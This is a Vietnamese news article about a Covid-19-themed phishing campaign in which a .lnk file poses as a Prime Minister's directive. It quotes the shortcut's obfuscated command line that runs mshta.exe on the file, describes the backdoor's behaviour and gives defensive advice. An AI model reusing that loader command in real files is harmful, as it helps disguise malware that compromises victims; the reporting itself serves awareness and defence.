Phát hiện mã độc phát tán qua email giả dạng thông báo của Thủ tướng về dịch Covid-19

Ngọc Hà
09/03/2020 20:13
D

Theo ghi nhận của Công ty CMC Cyber Security, mã độc được chèn trong một tệp văn bản với tiêu đề “Chi thi cua Thu tuong Nguyen Xuan Phuc” nhằm đánh lừa người dùng. Mẫu mã độc này được mới được thu thập được qua hệ thống CMC Threat Intelligence.

Theo chuyên gia, thời gian gần đây do diễn biến của dịch Covid-19  khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch tấn công có chủ đích APT nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam (Ảnh minh họa: Internet)

Trong báo cáo phân tích của CMC Cyber Security về mẫu mã độc được phát tán qua email giả dạng thông báo của Thủ tướng về dịch Covid-19, doanh nghiệp bảo mật này cho hay, thời gian gần đây do diễn biến của dịch Covid-19  khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch APT (tấn công có chủ đích - PV) nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam.

Mới đây, lợi dụng tình hình căng thẳng của dịch viêm đường hô hấp cấp Covid-19, mẫu mã độc giống với một số mẫu do nhóm tin tặc Panda phát triển được phát hiện đã thực hiện mạo danh văn bản thông báo của Chính phủ về tình hình dịch để đánh lừa người dùng.

Cụ thể, mẫu mã độc được chèn trong một file word với tiêu đề “Chi Thi cua Thu tuong nguyen xuan phuc” nhằm đánh lừa người dùng. Theo phân tích của chuyên gia, file mẫu là một file shortcut có phần mở rộng là “.lnk” được ẩn dưới dạng một file winword nhằm đánh lừa người dùng do đuôi “.lnk” sẽ được Windows ẩn đi.

Tuy nhiên, file winword này sử dụng một target đáng ngờ. Thông thường target của shorcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng: “%comspec% /c for %x in (%temp%=%cd%) do for /f “delims==” %i in (‘dir “%x\Chi Thi cua thu tuong nguyen xuan phuc.lnk” /s /b’) do start m%windir:~-1,1%hta.exe “%i”.

Cũng qua phân tích file mã độc được phát tán qua email giả dạng thông báo của Thủ tướng về dịch Covid-19, các chuyên gia CMC Cyber Security cho biết, sau khi lừa người dùng tải về, qua hàng loạt lệnh, mã độc sẽ tiến hành: tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator; thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy; tạo mutex, kết nối đến server (máy chủ) để nhận lệnh từ server; tạo backdoor (cửa hậu) cho phép kẻ tấn công thực thi lệnh từ xa; hay hỗ trợ nhiều lệnh thực thi khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, thông tin người dùng…

“Bằng cách sử dụng nhiều kỹ thuật tấn công khác nhau và làm rối trong khi thực thi cho thấy rằng người đứng sau phát triển mã độc đã đầu tư không ít thời gian để nghiên cứu mục tiêu và phát triển phương pháp tấn công cho phù hợp.

APT là một loại tấn công nguy hiểm, được đầu tư kỹ lưỡng nhằm đánh cắp các thông tin quan trọng và gây nhiều thiệt hại cho tổ chức. Để phòng ngừa các cuộc tấn công APT, luôn luôn phải chuẩn bị các phương án đề phòng và giám sát liên tục mới có thể đảm bảo tính an toàn cho hệ thống của người dùng cũng như cả tổ chức”, chuyên gia bảo mật nhấn mạnh.

Trước đó, trong trao đổi với ICTnews đầu tháng 2/2020, mặc dù chưa ghi nhận trường hợp email hay các link tin tức tiếng Việt có nội dung giả mạo về virus Corona (tên gọi hiện nay là Covid-19 –PV) có gắn mã độc, song khi đó các chuyên gia bảo mật của CMC, VSEC cũng đã cảnh báo rằng trong tương lai gần khả năng xuất hiện mã độc lợi dụng tin tức về dịch là rất cao.

“Hiện tượng lợi dụng các nội dung, thông tin nhạy cảm để phát tán mã độc đã, đang diễn ra hàng ngày không chỉ riêng các thông tin về Covid-19 mà còn nhiều thông tin khác. Nếu người dùng không cẩn thận khi click, mở các file chứa mã độc, người dùng có thể bị mất các thông tin cá nhân, ngoài ra các hacker có thể lợi dụng tài khoản lấy được của người dùng để lan truyền tin tức giả, phát tán mã độc”, chuyên gia bảo mật cảnh báo.

Để không bị hacker lừa phát tán mã độc trong bối cảnh tin giả về dịch Covid-19 đang xuất hiện nhiều trên mạng như hiện nay, các chuyên gia bảo mật khuyên người dùng cần cảnh giác cao khi tham gia vào thế giới online trên không gian mạng, chỉ đọc các thông tin từ nguồn chính thống của Bộ Y tế, Chính phủ; không mở email hay click vào link lạ; không mở các file được gửi từ nguồn không rõ ràng; thường xuyên cập nhật các bản vá bảo mật cho thiết bị cá nhân; và không chia sẻ các thông tin không chính thống trên mạng xã hội.

“Trường hợp bắt buộc phải tải file về nhưng thấy có nghi ngờ về nội dung hoặc người gửi thì người dùng cần forward email đó vào một email tạm thời khác và dùng một máy khác, tách biệt khỏi mạng đang làm việc để mở file. Nếu nắm về kĩ thuật hơn nữa thì có thể thử mở các file nghi ngờ tại các môi trường an toàn hơn (như máy ảo)”, chuyên gia bảo mật lưu ý thêm.

Theo ictnews

Bình luận

Tối thiểu 10 chữ Tiếng việt có dấu Không chứa liên kết

Gửi bình luận

Tin cùng chuyên mục

Fortinet ứng phó với các mối đe dọa mới nổi

Fortinet ứng phó với các mối đe dọa mới nổi

MobiFone và Agribank ký hợp tác chiến lược thúc đẩy chuyển đổi số nông thôn

MobiFone và Agribank ký hợp tác chiến lược thúc đẩy chuyển đổi số nông thôn

Kỷ nguyên mới của vệ tinh được định nghĩa bằng phần mềm

Kỷ nguyên mới của vệ tinh được định nghĩa bằng phần mềm

Làm thế nào để ứng dụng Việt Nam bứt phá doanh thu?

Làm thế nào để ứng dụng Việt Nam bứt phá doanh thu?

Phát hiện lỗ hổng BIND 9 nghiêm trọng, đe dọa an ninh DNS toàn cầu

Phát hiện lỗ hổng BIND 9 nghiêm trọng, đe dọa an ninh DNS toàn cầu

Keysight giới thiệu thiết bị đo kiểm xuyên nhiễu điện từ băng tần 1GHz theo thời gian thực

Keysight giới thiệu thiết bị đo kiểm xuyên nhiễu điện từ băng tần 1GHz theo thời gian thực

Đấu giá lại 2 khối băng tần 700MHz cho 5G: Viettel vắng mặt, ai thắng?

Đấu giá lại 2 khối băng tần 700MHz cho 5G: Viettel vắng mặt, ai thắng?

Tương lai Internet đứng trước nguy cơ 'chết dần' vì AI và Big Tech

Tương lai Internet đứng trước nguy cơ 'chết dần' vì AI và Big Tech

Đừng để AI làm mai một tư duy con người

Đừng để AI làm mai một tư duy con người

Mạng Starlink đạt 7.800 vệ tinh phục vụ 6 triệu khách hàng toàn cầu

Mạng Starlink đạt 7.800 vệ tinh phục vụ 6 triệu khách hàng toàn cầu

Việt Nam hưởng lợi lớn từ tuyến cáp quang biển SJC2

Việt Nam hưởng lợi lớn từ tuyến cáp quang biển SJC2

Amazon thuê SpaceX phóng vệ tinh internet Kuiper

Amazon thuê SpaceX phóng vệ tinh internet Kuiper

Tin mới cập nhật

Samsung ký hợp đồng chip trị giá 16,5 tỷ USD, cổ phiếu tăng vọt

Samsung ký hợp đồng chip trị giá 16,5 tỷ USD, cổ phiếu tăng vọt

Cổ phiếu Puma giảm mạnh sau khi cắt giảm triển vọng lợi nhuận do thuế quan

Cổ phiếu Puma giảm mạnh sau khi cắt giảm triển vọng lợi nhuận do thuế quan

Xiaomi POP Run 2025 thu hút hơn 1.600 người tham dự

Xiaomi POP Run 2025 thu hút hơn 1.600 người tham dự

Thị trường châu Á trái chiều trước đàm phán Mỹ - Trung

Thị trường châu Á trái chiều trước đàm phán Mỹ - Trung

Tăng cường cảnh giác và phòng ngừa tội phạm lừa đảo sử dụng công nghệ cao

Tăng cường cảnh giác và phòng ngừa tội phạm lừa đảo sử dụng công nghệ cao

Fortinet ứng phó với các mối đe dọa mới nổi

Fortinet ứng phó với các mối đe dọa mới nổi

Ấn Độ nối lại việc cấp thị thực du lịch cho công dân Trung Quốc sau 5 năm

Ấn Độ nối lại việc cấp thị thực du lịch cho công dân Trung Quốc sau 5 năm

Di Động Việt mở bán sớm Galaxy Z Fold7, Z Flip 7 với ưu đãi lên đến 10 triệu đồng

Di Động Việt mở bán sớm Galaxy Z Fold7, Z Flip 7 với ưu đãi lên đến 10 triệu đồng

ASUS khai trương ROG Exclusive Store đầu tiên tại Việt Nam

ASUS khai trương ROG Exclusive Store đầu tiên tại Việt Nam

CellphoneS ghi nhận bộ đôi Galaxy Z Fold7 và Z Flip7 tăng trưởng 20%

CellphoneS ghi nhận bộ đôi Galaxy Z Fold7 và Z Flip7 tăng trưởng 20%

Lễ hội ẩm thực Malaysia tại Sheraton Hanoi Hotel

Lễ hội ẩm thực Malaysia tại Sheraton Hanoi Hotel

Giải Marathon Quốc tế Hà Nội Techcombank phá kỷ lục với 13.000 người tham gia

Giải Marathon Quốc tế Hà Nội Techcombank phá kỷ lục với 13.000 người tham gia

Tin đọc nhiều

Fortinet ứng phó với các mối đe dọa mới nổi

Fortinet ứng phó với các mối đe dọa mới nổi

MobiFone và Agribank ký hợp tác chiến lược thúc đẩy chuyển đổi số nông thôn

MobiFone và Agribank ký hợp tác chiến lược thúc đẩy chuyển đổi số nông thôn

Kỷ nguyên mới của vệ tinh được định nghĩa bằng phần mềm

Kỷ nguyên mới của vệ tinh được định nghĩa bằng phần mềm

Làm thế nào để ứng dụng Việt Nam bứt phá doanh thu?

Làm thế nào để ứng dụng Việt Nam bứt phá doanh thu?

Phát hiện lỗ hổng BIND 9 nghiêm trọng, đe dọa an ninh DNS toàn cầu

Phát hiện lỗ hổng BIND 9 nghiêm trọng, đe dọa an ninh DNS toàn cầu

Keysight giới thiệu thiết bị đo kiểm xuyên nhiễu điện từ băng tần 1GHz theo thời gian thực

Keysight giới thiệu thiết bị đo kiểm xuyên nhiễu điện từ băng tần 1GHz theo thời gian thực

Đấu giá lại 2 khối băng tần 700MHz cho 5G: Viettel vắng mặt, ai thắng?

Đấu giá lại 2 khối băng tần 700MHz cho 5G: Viettel vắng mặt, ai thắng?

Công bố 6 sản phẩm dữ liệu lõi 'Make in Vietnam'

Công bố 6 sản phẩm dữ liệu lõi 'Make in Vietnam'

ITU Digital World 2020: Doanh nghiệp kỳ vọng vào các cơ hội mới

ITU Digital World 2020: Doanh nghiệp kỳ vọng vào các cơ hội mới

Lý giải điểm mấu chốt mà Microsoft đặt quyết tâm thâu tóm TikTok

Lý giải điểm mấu chốt mà Microsoft đặt quyết tâm thâu tóm TikTok

Video xem nhiều

Giới thiệu chương trình bình chọn “Xe của năm 2022"

Giới thiệu chương trình bình chọn “Xe của năm 2022"

Isuzu Mu-X 2021 hoàn toàn mới: Thiết kế hiện đại và đầy công nghệ

Isuzu Mu-X 2021 hoàn toàn mới: Thiết kế hiện đại và đầy công nghệ

Clip: Khuyến cáo đối với người lao động, người làm việc, người bán hàng tại khu dịch vụ trong dịch Covid-19

Clip: Khuyến cáo đối với người lao động, người làm việc, người bán hàng tại khu dịch vụ trong dịch Covid-19

Geneva Motor Show 2020: Bentley hé lộ siêu xe Bacalar triệu đô

Geneva Motor Show 2020: Bentley hé lộ siêu xe Bacalar triệu đô

Lộ diện siêu xe hypercar Czinger 21C tăng tốc 0-100km/h chưa tới 2 giây

Lộ diện siêu xe hypercar Czinger 21C tăng tốc 0-100km/h chưa tới 2 giây

Cỗ xe lai phản lực tăng tốc từ 0 - 1010 km/h trong 50 giây tham vọng phá kỷ lục thế giới

Cỗ xe lai phản lực tăng tốc từ 0 - 1010 km/h trong 50 giây tham vọng phá kỷ lục thế giới

“Rắn tiên tri” dự đoán đội tuyển Việt Nam thắng Thái Lan

“Rắn tiên tri” dự đoán đội tuyển Việt Nam thắng Thái Lan

Bắc Sơn mây hát

Bắc Sơn mây hát

Làm thế nào để nâng cao tương tác giữa loa và phòng nghe hiệu quả

Làm thế nào để nâng cao tương tác giữa loa và phòng nghe hiệu quả

Trực tiếp: Apple ra mắt Iphone 11 tại Cupertino, California, Mỹ

Trực tiếp: Apple ra mắt Iphone 11 tại Cupertino, California, Mỹ

Những gì bạn muốn biết về 5G

Những gì bạn muốn biết về 5G

5G thay đổi tương lai của bạn như thế nào?

5G thay đổi tương lai của bạn như thế nào?

Bàn về tầm nhìn và các trụ cột của công nghệ thông tin di động 6G
04/03/2022
Chip xử lý A15 Bionic của Apple có gì mới
15/09/2021
Sex Education mùa 3 được Netflix công chiếu vào 17/9
14/09/2021
iPhone 13 không thay đổi nhiều về ngoại hình, camera được nâng cấp mạnh
13/09/2021
Cách xem trực tiếp sự kiện ra mắt iPhone 13 và Apple Watch 7
10/09/2021
VNEID của Bộ Công an khác các ứng dụng đang được vận hành?
10/09/2021
'Cái tôi' thời 4.0 và tính hai mặt của mạng xã hội
04/09/2021
'Muôn màu' cảm xúc của trẻ trong ngày khai giảng online
24/08/2021
Chủ tịch Chu Ngọc Anh giải toả 'ách tắc' về Giấy đi đường cho người dân Thủ đô
10/08/2021
Hàng loạt Macbook M1 tự dưng vỡ màn hình, Apple có đồng ý bảo hành?
02/08/2021
6 bộ phim hay nhất để xem trên VieON
29/01/2021
Bắc Ninh: Không ký kết triển khai dự án Owifi 5G với CSE Singapore
27/06/2020
Bị World Bank cấm dự thầu 7 năm, công ty Sao Bắc Đẩu thừa nhận sai sót
27/06/2020
Wefinex - Mô hình hoạt động đa cấp "đội lốt" đầu tài chính trên mạng internet
10/06/2020
Khai trừ MISA khỏi Câu lạc bộ Chữ ký số và Giao dịch điện tử Việt Nam
27/05/2020
Chuyển đổi số - Nên hiểu như thế nào cho đúng
25/05/2020
Chống thất thu thuế là thách thức lớn đối với nền kinh tế số
29/04/2020
Cách chuyển tập tin sang máy tính mới
10/11/2019
VNPT, MobiFone, VTC sẽ hoàn thành cổ phần hóa trước năm 2021
20/08/2019
5G thay đổi tương lai của bạn như thế nào?
26/07/2019
Nhận diện hành vi lừa đảo trên không gian mạng
25/07/2019
Truyền hình OTT - Hướng đi mới của các “nhà Đài”
24/07/2019